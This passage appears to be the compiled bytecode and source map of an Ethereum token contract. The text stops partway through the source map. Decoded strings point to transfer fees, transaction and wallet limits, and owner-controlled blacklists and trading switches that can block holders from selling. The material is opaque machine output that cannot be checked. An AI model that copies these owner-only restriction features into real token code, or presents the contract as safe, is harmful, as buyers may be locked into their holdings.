52601860248201527f43616e206e6f74206265207a65726f20616464726573732e00000000000000006044820152606401610aa9565b600180546001600160a01b0319166001600160a01b0383169081179091556040519081527fe235b3289f2e990914b334bf6827949c27f6ba58d3e5a1d6f8415037ca1ef2229060200160405180910390a150565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611abd918490611b52565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611aec908361217a565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b409086815260200190565b60405180910390a35060019392505050565b60008184841115611b765760405162461bcd60e51b8152600401610aa991906128d6565b506000611b838486612d14565b95945050505050565b601a5460009060ff1615611bac57611ba5848484611a6c565b90506110fe565b6001600160a01b03841660009081526002602052604090205460ff16158015611bee57506001600160a01b03831660009081526002602052604090205460ff16155b15611cd857601654600160a01b900460ff16611c435760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610aa9565b601654600160a81b900460ff168015611c8d57507f00000000000000000000000028a6091c9ccbdbdf7883620d2e3bbb950d5fa0b26001600160a01b0316846001600160a01b0316145b15611cd8576001600160a01b0383166000908152601760205260408120549003611ccd576001600160a01b03831660009081526017602052604090204390555b611cd8836001612108565b60075460ff168015611cf45750601654600160a81b900460ff16155b15611d50576001600160a01b03841660009081526008602052604090205460ff1615611d505760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610aa9565b601654600160a81b900460ff168015611d8057506001600160a01b03841660009081526017602052604090205415155b15611e0257611d90603c43612d14565b6001600160a01b03851660009081526017602052604090205411611e025760405162461bcd60e51b815260206004820152602360248201527f426f75676874206265666f726520636f6e747261637420776173206c61756e636044820152621a195960ea1b6064820152608401610aa9565b6001600160a01b03841660009081526002602052604090205460ff16158015611e4457506001600160a01b0384166000908152600b602052604090205460ff16155b8015611e6957506001600160a01b0383166000908152600b602052604090205460ff16155b8015611ea757507f00000000000000000000000028a6091c9ccbdbdf7883620d2e3bbb950d5fa0b26001600160a01b0316836001600160a01b031614155b15611f21576004546001600160a01b038416600090815260056020526040902054611ed3908490612cfc565b1115611f215760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610aa9565b60035482111580611f4a57506001600160a01b0384166000908152600a602052604090205460ff165b80611f6d57506001600160a01b0383166000908152600a602052604090205460ff165b611fb15760405162461bcd60e51b815260206004820152601560248201527413585e08151608131a5b5a5d08115e18d959591959605a1b6044820152606401610aa9565b611fb96121d9565b15611fc657611fc6612245565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260059091529190912054612018918490611b52565b6001600160a01b038516600090815260056020908152604080832093909355600990529081205460ff168061206557506001600160a01b03841660009081526009602052604090205460ff165b6120795761207485848661253d565b61207b565b825b6001600160a01b0385166000908152600560205260409020549091506120a1908261217a565b6001600160a01b0380861660008181526005602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120f59085815260200190565b60405180910390a3506001949350505050565b80801561214657507f00000000000000000000000028a6091c9ccbdbdf7883620d2e3bbb950d5fa0b26001600160a01b0316826001600160a01b0316145b1561214f575050565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6000806121878385612cfc565b9050838110156110fe5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610aa9565b6000336001600160a01b037f00000000000000000000000028a6091c9ccbdbdf7883620d2e3bbb950d5fa0b216148015906122175750601a5460ff16155b8015612225575060185460ff165b801561118757505060195430600090815260056020526040902054101590565b601a805460ff19166001179055600f54600c54601954600092612278926002926122729291839190612698565b9061271a565b905060006122918260195461275c90919063ffffffff16565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106122cb576122cb612b83565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061231f5761231f612b83565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac94790612365908590600090869030904290600401612d61565b600060405180830381600087803b15801561237f57600080fd5b505af1158015612393573d6000803e3d6000fd5b5050600c54479250600091506123b7906123ae90600261271a565b600f549061275c565b905060006123d9600261227284612272600c548861269890919063ffffffff16565b905060006123f683612272600d548761269890919063ffffffff16565b9050600061241384612272600e548861269890919063ffffffff16565b6014546040519192506001600160a01b03169083156108fc029084906000818181858888f1935050505015801561244e573d6000803e3d6000fd5b506015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612489573d6000803e3d6000fd5b5087156125295760165460135460405163f305d71960e01b8152306004820152602481018b905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990859060c40160606040518083038185885af1158015612500573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125259190612dd2565b5050505b5050601a805460ff19169055505050505050565b600082158061254c5750600f54155b156125585750816110fe565b6012546001600160a01b037f00000000000000000000000028a6091c9ccbdbdf7883620d2e3bbb950d5fa0b281169084160361259757506011546125d5565b7f00000000000000000000000028a6091c9ccbdbdf7883620d2e3bbb950d5fa0b26001600160a01b0316856001600160a01b0316036125d557506010545b60006126066125e76103e86064612cbb565b61227284612600600f548a61269890919063ffffffff16565b90612698565b90508080156126835730600090815260056020526040902054612629908261217a565b30600081815260056020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061267a9085815260200190565b60405180910390a35b61268d868361275c565b979650505050505050565b6000826000036126aa57506000610dc3565b60006126b68385612cbb565b9050826126c38583612cda565b146110fe5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610aa9565b60006110fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279e565b60006110fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b52565b600081836127bf5760405162461bcd60e51b8152600401610aa991906128d6565b506000611b838486612cda565b60008083601f8401126127de57600080fd5b50813567ffffffffffffffff8111156127f657600080fd5b6020830191508360208260051b850101111561281157600080fd5b9250929050565b801515811461282657600080fd5b50565b60008060006040848603121561283e57600080fd5b833567ffffffffffffffff81111561285557600080fd5b612861868287016127cc565b909450925050602084013561287581612818565b809150509250925092565b6000806040838503121561289357600080fd5b823561289e81612818565b915060208301356128ae81612818565b809150509250929050565b6000602082840312156128cb57600080fd5b81356110fe81612818565b600060208083528351808285015260005b81811015612903578581018301518582016040015282016128e7565b81811115612915576000604083870101525b50601f01601f1916929092016040019392505050565b60006020828403121561293d57600080fd5b5035919050565b6001600160a01b038116811461282657600080fd5b6000806040838503121561296c57600080fd5b823561297781612944565b946020939093013593505050565b60008060008060006060868803121561299d57600080fd5b85356129a881612944565b9450602086013567ffffffffffffffff808211156129c557600080fd5b6129d189838a016127cc565b909650945060408801359150808211156129ea57600080fd5b506129f7888289016127cc565b969995985093965092949392505050565b600080600060608486031215612a1d57600080fd5b8335612a2881612944565b92506020840135612a3881612944565b929592945050506040919091013590565b600060208284031215612a5b57600080fd5b81356110fe81612944565b600080600060608486031215612a7b57600080fd5b505081359360208301359350604090920135919050565b600080600060608486031215612aa757600080fd5b8335612ab281612944565b92506020840135612ac281612944565b9150604084013561287581612944565b60008060408385031215612ae557600080fd5b8235612af081612944565b915060208301356128ae81612944565b60008060408385031215612b1357600080fd5b823561297781612818565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60208082526025908201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604082015264657373657360d81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201612bc157612bc1612b99565b5060010190565b600181815b80851115612c03578160001904821115612be957612be9612b99565b80851615612bf657918102915b93841c9390800290612bcd565b509250929050565b600082612c1a57506001610dc3565b81612c2757506000610dc3565b8160018114612c3d5760028114612c4757612c63565b6001915050610dc3565b60ff841115612c5857612c58612b99565b50506001821b610dc3565b5060208310610133831016604e8410600b8410161715612c86575081810a610dc3565b612c908383612bc8565b8060001904821115612ca457612ca4612b99565b029392505050565b60006110fe60ff841683612c0b565b6000816000190483118215151615612cd557612cd5612b99565b500290565b600082612cf757634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115612d0f57612d0f612b99565b500190565b600082821015612d2657612d26612b99565b500390565b600060208284031215612d3d57600080fd5b5051919050565b600060208284031215612d5657600080fd5b81516110fe81612818565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612db15784516001600160a01b031683529383019391830191600101612d8c565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612de757600080fd5b835192506020840151915060408401519050925092509256fea26469706673582212208016e811c871bb0fa6d63e89fac07bf2859b0694e140fa2b8c261b85ed7bfe0a64736f6c634300080f0033

Deployed Bytecode Sourcemap

4819:12842:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15471:310;;;;;;;;;;-1:-1:-1;15471:310:0;;;;;:::i;:::-;;:::i;:::-;;14859:294;;;;;;;;;;-1:-1:-1;14859:294:0;;;;;:::i;:::-;;:::i;12747:130::-;;;;;;;;;;-1:-1:-1;12747:130:0;;;;;:::i;:::-;;:::i;14250:108::-;;;;;;;;;;-1:-1:-1;14250:108:0;;;;;:::i;:::-;;:::i;6480:49::-;;;;;;;;;;;;;;;;;;;1853:25:1;;;1841:2;1826:18;6480:49:0;;;;;;;;5074:43;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;5074:43:0;;;;;;;;;;;;:::i;5856:33::-;;;;;;;;;;;;;;;;8711:261;;;;;;;;;;-1:-1:-1;8711:261:0;;;;;:::i;:::-;;:::i;7815:216::-;;;;;;;;;;-1:-1:-1;7815:216:0;;;;;:::i;:::-;;:::i;:::-;;;3297:14:1;;3290:22;3272:41;;3260:2;3245:18;7815:216:0;3132:187:1;5972:45:0;;;;;;;;;;;;6013:4;5972:45;;5212:64;;;;;;;;;;;;;:::i;17027:629::-;;;;;;;;;;-1:-1:-1;17027:629:0;;;;;:::i;:::-;;:::i;12240:207::-;;;;;;;;;;-1:-1:-1;12240:207:0;;;;;:::i;:::-;;:::i;5896:69::-;;;;;;;;;;;;;;;;8333:370;;;;;;;;;;-1:-1:-1;8333:370:0;;;;;:::i;:::-;;:::i;16880:137::-;;;;;;;;;;;;;:::i;2918:103::-;;;;;;;;;;-1:-1:-1;2918:103:0;;;;;:::i;:::-;2973:4;3008:5;-1:-1:-1;;;;;2997:16:0;;;3008:5;;2997:16;;2918:103;6026:34;;;;;;;;;;;;;;;;5169;;;;;;;;;;;;5202:1;5169:34;;;;;5122:4:1;5110:17;;;5092:36;;5080:2;5065:18;5169:34:0;4950:184:1;5612:44:0;;;;;;;;;;-1:-1:-1;5612:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15161:302;;;;;;;;;;-1:-1:-1;15161:302:0;;;;;:::i;:::-;;:::i;8039:122::-;;;;;;;;;;-1:-1:-1;8039:122:0;;;;;:::i;:::-;;:::i;6109:39::-;;;;;;;;;;;;;;;;5817:32;;;;;;;;;;;;;;;;15789:198;;;;;;;;;;-1:-1:-1;15789:198:0;;;;;:::i;:::-;;:::i;6443:30::-;;;;;;;;;;-1:-1:-1;6443:30:0;;;;;;;;5396:45;;;;;;;;;;-1:-1:-1;5396:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;3413:166;;;;;;;;;;;;;:::i;12455:284::-;;;;;;;;;;-1:-1:-1;12455:284:0;;;;;:::i;:::-;;:::i;5338:49::-;;;;;;;;;;;;;;;;3587:368;;;;;;;;;;;;;:::i;5285:46::-;;;;;;;;;;;;;;;;7590:78;;;;;;;;;;-1:-1:-1;7642:7:0;7660:5;-1:-1:-1;;;;;7660:5:0;7590:78;;;-1:-1:-1;;;;;5624:32:1;;;5606:51;;5594:2;5579:18;7590:78:0;5460:203:1;5518:32:0;;;;;;;;;;-1:-1:-1;5518:32:0;;;;;;;;5663:48;;;;;;;;;;-1:-1:-1;5663:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14366:297;;;;;;;;;;-1:-1:-1;14366:297:0;;;;;:::i;:::-;;:::i;5124:38::-;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;5124:38:0;;;;;5779:31;;;;;;;;;;;;;;;;6297:29;;;;;;;;;;;;;;;8169:156;;;;;;;;;;-1:-1:-1;8169:156:0;;;;;:::i;:::-;;:::i;2649:94::-;;;;;;;;;;-1:-1:-1;2649:94:0;;;;;:::i;:::-;;:::i;8978:262::-;;;;;;;;;;-1:-1:-1;8978:262:0;;;;;:::i;:::-;;:::i;5718:52::-;;;;;;;;;;-1:-1:-1;5718:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;15995:302;;;;;;;;;;-1:-1:-1;15995:302:0;;;;;:::i;:::-;;:::i;16305:316::-;;;;;;;;;;-1:-1:-1;16305:316:0;;;;;:::i;:::-;;:::i;7674:133::-;;;;;;;;;;-1:-1:-1;7674:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;7776:19:0;;;7758:7;7776:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;7674:133;16631:237;;;;;;;;;;-1:-1:-1;16631:237:0;;;;;:::i;:::-;;:::i;2751:159::-;;;;;;;;;;-1:-1:-1;2751:159:0;;;;;:::i;:::-;;:::i;3144:261::-;;;;;;;;;;-1:-1:-1;3144:261:0;;;;;:::i;:::-;;:::i;6266:24::-;;;;;;;;;;-1:-1:-1;6266:24:0;;;;-1:-1:-1;;;;;6266:24:0;;;5557:46;;;;;;;;;;-1:-1:-1;5557:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3029:107;;;;;;;;;;-1:-1:-1;3029:107:0;;;;;:::i;:::-;-1:-1:-1;;;;;3109:19:0;3085:4;3109:19;;;:14;:19;;;;;;;;;3029:107;6067:35;;;;;;;;;;;;;;;;6335:30;;;;;;;;;;-1:-1:-1;6335:30:0;;;;-1:-1:-1;;;6335:30:0;;;;;;15471:310;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;;;;;;;;;15605:3:::1;15586:22:::0;::::1;15578:71;;;;-1:-1:-1::0;;;15578:71:0::1;;;;;;;:::i;:::-;15665:9;15660:114;15678:20:::0;;::::1;15660:114;;;15756:6;15720:19;:33;15740:9;;15750:1;15740:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15720:33:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;15720:33:0;:42;;-1:-1:-1;;15720:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15700:3:::1;::::0;::::1;:::i;:::-;;;15660:114;;;;15471:310:::0;;;:::o;14859:294::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;14985:3:::1;14966:22:::0;::::1;14958:71;;;;-1:-1:-1::0;;;14958:71:0::1;;;;;;;:::i;:::-;15045:9;15040:106;15058:20:::0;;::::1;15040:106;;;15128:6;15100:11;:25;15112:9;;15122:1;15112:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15100:25:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;15100:25:0;:34;;-1:-1:-1;;15100:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15080:3:::1;::::0;::::1;:::i;:::-;;;15040:106;;12747:130:::0;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;12824:11:::1;:21:::0;;-1:-1:-1;;;;12856:13:0;-1:-1:-1;;;12824:21:0;::::1;;::::0;;;::::1;-1:-1:-1::0;;;;12856:13:0;;;;;-1:-1:-1;;;12856:13:0;::::1;;::::0;;;::::1;;::::0;;12747:130::o;14250:108::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;14327:13:::1;:23:::0;;-1:-1:-1;;14327:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14250:108::o;8711:261::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;8847:1:::1;8820:23;:28;;8812:76;;;::::0;-1:-1:-1;;;8812:76:0;;8741:2:1;8812:76:0::1;::::0;::::1;8723:21:1::0;8780:2;8760:18;;;8753:30;8819:34;8799:18;;;8792:62;-1:-1:-1;;;8870:18:1;;;8863:34;8914:19;;8812:76:0::1;8539:400:1::0;8812:76:0::1;8960:4;8932:23:::0;5264:12:::1;5202:1;5264:2;:12;:::i;:::-;5250:26;::::0;:11:::1;:26;:::i;:::-;8918:37;;;;:::i;:::-;8917:47;;;;:::i;:::-;8899:15;:65:::0;-1:-1:-1;8711:261:0:o;7815:216::-;7919:10;7890:4;7907:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7907:32:0;;;;;;;;;;:41;;;7964:37;7890:4;;7907:32;;7964:37;;;;7942:6;1853:25:1;;1841:2;1826:18;;1707:177;7964:37:0;;;;;;;;-1:-1:-1;8019:4:0;7815:216;;;;;:::o;5212:64::-;5264:12;5202:1;5264:2;:12;:::i;:::-;5250:26;;:11;:26;:::i;:::-;5212:64;:::o;17027:629::-;2603:10;3085:4;3109:19;;;:14;:19;;;;;;;;2582:48;;;;-1:-1:-1;;;2582:48:0;;10924:2:1;2582:48:0;;;10906:21:1;10963:2;10943:18;;;10936:30;-1:-1:-1;;;10982:18:1;;;10975:41;11033:18;;2582:48:0;10722:335:1;2582:48:0;17179:3:::1;17160:22:::0;::::1;17152:71;;;;-1:-1:-1::0;;;17152:71:0::1;;;;;;;:::i;:::-;17242:33:::0;;::::1;17234:85;;;::::0;-1:-1:-1;;;17234:85:0;;11264:2:1;17234:85:0::1;::::0;::::1;11246:21:1::0;11303:2;11283:18;;;11276:30;11342:34;11322:18;;;11315:62;-1:-1:-1;;;11393:18:1;;;11386:38;11441:19;;17234:85:0::1;11062:404:1::0;17234:85:0::1;17332:12;17365:6:::0;17361:90:::1;17375:20:::0;;::::1;17361:90;;;17430:6;;17437:1;17430:9;;;;;;;:::i;:::-;;;;;;;17423:4;:16;;;;:::i;:::-;17416:23:::0;-1:-1:-1;17397:3:0;::::1;::::0;::::1;:::i;:::-;;;;17361:90;;;-1:-1:-1::0;;;;;;17471:15:0;::::1;;::::0;;;:9:::1;:15;::::0;;;;;:23;-1:-1:-1;17471:23:0::1;17463:63;;;::::0;-1:-1:-1;;;17463:63:0;;11806:2:1;17463:63:0::1;::::0;::::1;11788:21:1::0;11845:2;11825:18;;;11818:30;11884:29;11864:18;;;11857:57;11931:18;;17463:63:0::1;11604:351:1::0;17463:63:0::1;17543:6;17539:110;17553:20:::0;;::::1;17539:110;;;17594:43;17609:4;17614:9;;17624:1;17614:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;17627:6;;17634:1;17627:9;;;;;;;:::i;:::-;;;;;;;17594:14;:43::i;:::-;-1:-1:-1::0;17575:3:0;::::1;::::0;::::1;:::i;:::-;;;;17539:110;;;;17141:515;17027:629:::0;;;;;:::o;12240:207::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;12343:21:::1;12383:10;12375:64;12435:3;12404:28;12416:16:::0;12343:21;12404:28:::1;:::i;:::-;:34;;;;:::i;:::-;12375:64;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12312:135;12240:207:::0;:::o;8333:370::-;-1:-1:-1;;;;;8453:19:0;;8433:4;8453:19;;;:11;:19;;;;;;;;8473:10;8453:31;;;;;;;;-1:-1:-1;;8453:52:0;8450:186;;8555:69;;;;;;;;;;;-1:-1:-1;;;8555:69:0;;;;;;;;-1:-1:-1;;;;;8555:19:0;;-1:-1:-1;8555:19:0;;;:11;:19;;;;;8575:10;8555:31;;;;;;;;;;:69;;8591:6;;8555:35;:69::i;:::-;-1:-1:-1;;;;;8521:19:0;;;;;;:11;:19;;;;;;;;8541:10;8521:31;;;;;;;:103;8450:186;8655:40;8669:6;8677:9;8688:6;8655:13;:40::i;:::-;8648:47;;8333:370;;;;;;:::o;16880:137::-;16993:9;:15;;;;4950:42;16933:7;16975:15;;;;;16933:7;;16993:15;5264:12;5202:1;5264:2;:12;:::i;:::-;5250:26;;:11;:26;:::i;:::-;16961:29;;;;:::i;:::-;:47;;;;:::i;:::-;16953:56;;16880:137;:::o;15161:302::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;15291:3:::1;15272:22:::0;::::1;15264:71;;;;-1:-1:-1::0;;;15264:71:0::1;;;;;;;:::i;:::-;15351:9;15346:110;15364:20:::0;;::::1;15346:110;;;15438:6;15406:15;:29;15422:9;;15432:1;15422:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15406:29:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;15406:29:0;:38;;-1:-1:-1;;15406:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15386:3:::1;::::0;::::1;:::i;:::-;;;15346:110;;8039:122:::0;8094:4;8118:35;8126:7;-1:-1:-1;;8118:7:0;:35::i;15789:198::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;15888:14:::1;:22:::0;;;;15921:13:::1;:20:::0;;;;15952:18:::1;:27:::0;15789:198::o;3413:166::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;3494:5:::1;3485::::0;;-1:-1:-1;;;;;3485:5:0::1;3470:21:::0;;:14:::1;:21;::::0;;;;;;;:29;;-1:-1:-1;;3470:29:0::1;::::0;;3510:18;;-1:-1:-1;;;;;;3510:18:0::1;::::0;;3544:27;5606:51:1;;;3544:27:0::1;::::0;5579:18:1;3544:27:0::1;;;;;;;;3413:166::o:0;12455:284::-;12546:12;3008:5;;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;12574:6:::1;12584:1;12574:11:::0;12571:95:::1;;12610:44;::::0;-1:-1:-1;;;12610:44:0;;12648:4:::1;12610:44;::::0;::::1;5606:51:1::0;-1:-1:-1;;;;;12610:29:0;::::1;::::0;::::1;::::0;5579:18:1;;12610:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12601:53;;12571:95;12683:48;::::0;-1:-1:-1;;;12683:48:0;;12712:10:::1;12683:48;::::0;::::1;12453:51:1::0;12520:18;;;12513:34;;;-1:-1:-1;;;;;12683:28:0;::::1;::::0;::::1;::::0;12426:18:1;;12683:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;3587:368::-:0;3654:14;;-1:-1:-1;;;;;3654:14:0;3640:10;:28;3632:113;;;;-1:-1:-1;;;3632:113:0;;13010:2:1;3632:113:0;;;12992:21:1;13049:2;13029:18;;;13022:30;13088:34;13068:18;;;13061:62;13159:34;13139:18;;;13132:62;-1:-1:-1;;;13210:19:1;;;13203:39;13259:19;;3632:113:0;12808:476:1;3632:113:0;3780:5;3771;;-1:-1:-1;;;;;3771:5:0;;;3756:21;;:14;:21;;;;;;;;:29;;-1:-1:-1;;3756:29:0;;;;;;-1:-1:-1;3811:14:0;;;;3796:30;;;;;:37;;;;;;;;;;3852:14;;3844:22;;3852:14;;;-1:-1:-1;;;;;;3844:22:0;;;;;;;;3877:27;;;;;;;3920;;5606:51:1;;;3920:27:0;;5579:18:1;3920:27:0;5460:203:1;14366:297:0;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;14492:3:::1;14473:22:::0;::::1;14465:71;;;::::0;-1:-1:-1;;;14465:71:0;;13491:2:1;14465:71:0::1;::::0;::::1;13473:21:1::0;13530:2;13510:18;;;13503:30;13569:34;13549:18;;;13542:62;-1:-1:-1;;;13620:18:1;;;13613:35;13665:19;;14465:71:0::1;13289:401:1::0;14465:71:0::1;14552:9;14547:109;14565:20:::0;;::::1;14547:109;;;14607:37;14624:9;;14634:1;14624:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;14637:6;14607:16;:37::i;:::-;14587:3;::::0;::::1;:::i;:::-;;;14547:109;;8169:156:::0;8249:4;8273:44;8287:10;8299:9;8310:6;8273:13;:44::i;2649:94::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2709:19:0::1;;::::0;;;:14:::1;:19;::::0;;;;:26;;-1:-1:-1;;2709:26:0::1;2731:4;2709:26;::::0;;2649:94::o;8978:262::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;9112:1:::1;9084:24;:29;;9076:82;;;::::0;-1:-1:-1;;;9076:82:0;;13897:2:1;9076:82:0::1;::::0;::::1;13879:21:1::0;13936:2;13916:18;;;13909:30;13975:34;13955:18;;;13948:62;-1:-1:-1;;;14026:18:1;;;14019:39;14075:19;;9076:82:0::1;13695:405:1::0;9076:82:0::1;9228:4;9199:24:::0;5264:12:::1;5202:1;5264:2;:12;:::i;:::-;5250:26;::::0;:11:::1;:26;:::i;:::-;9185:38;;;;:::i;:::-;9184:48;;;;:::i;:::-;9169:12;:63:::0;-1:-1:-1;8978:262:0:o;15995:302::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;16113:12:::1;:28:::0;;;16152:12:::1;:28:::0;;;16191:13:::1;:30:::0;;;16207:14;16243:29:::1;16167:13:::0;16128;16243:29:::1;:::i;:::-;:46;;;;:::i;:::-;16232:8;:57:::0;-1:-1:-1;;;15995:302:0:o;16305:316::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;16455:21:::1;:46:::0;;-1:-1:-1;;;;;16455:46:0;;::::1;-1:-1:-1::0;;;;;;16455:46:0;;::::1;;::::0;;;16512:20:::1;:44:::0;;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;16567:21:::1;:46:::0;;;;;::::1;::::0;::::1;;::::0;;16305:316::o;16631:237::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;16750:2:::1;16735:12;:17;16727:45;;;::::0;-1:-1:-1;;;16727:45:0;;14307:2:1;16727:45:0::1;::::0;::::1;14289:21:1::0;14346:2;14326:18;;;14319:30;-1:-1:-1;;;14365:18:1;;;14358:45;14420:18;;16727:45:0::1;14105:339:1::0;16727:45:0::1;16785:11;:22:::0;;-1:-1:-1;;16785:22:0::1;::::0;::::1;;;::::0;;16848:12;5264::::1;5202:1;5264:2;:12;:::i;:::-;5250:26;::::0;:11:::1;:26;:::i;:::-;16834;;;;:::i;:::-;16818:13;:42:::0;-1:-1:-1;;16631:237:0:o;2751:159::-;2973:4;3008:5;-1:-1:-1;;;;;3008:5:0;2508:10;2997:16;2492:38;;;;-1:-1:-1;;;2492:38:0;;;;;;;:::i;:::-;2828:5:::1;::::0;-1:-1:-1;;;;;2828:5:0;;::::1;2821:12:::0;;::::1;::::0;2813:51:::1;;;::::0;-1:-1:-1;;;2813:51:0;;14651:2:1;2813:51:0::1;::::0;::::1;14633:21:1::0;14690:2;14670:18;;;14663:30;14729:28;14709:18;;;14702:56;14775:18;;2813:51:0::1;14449:350:1::0;2813:51:0::1;-1:-1:-1::0;;;;;2875:19:0::1;2897:5;2875:19:::0;;;:14:::1;: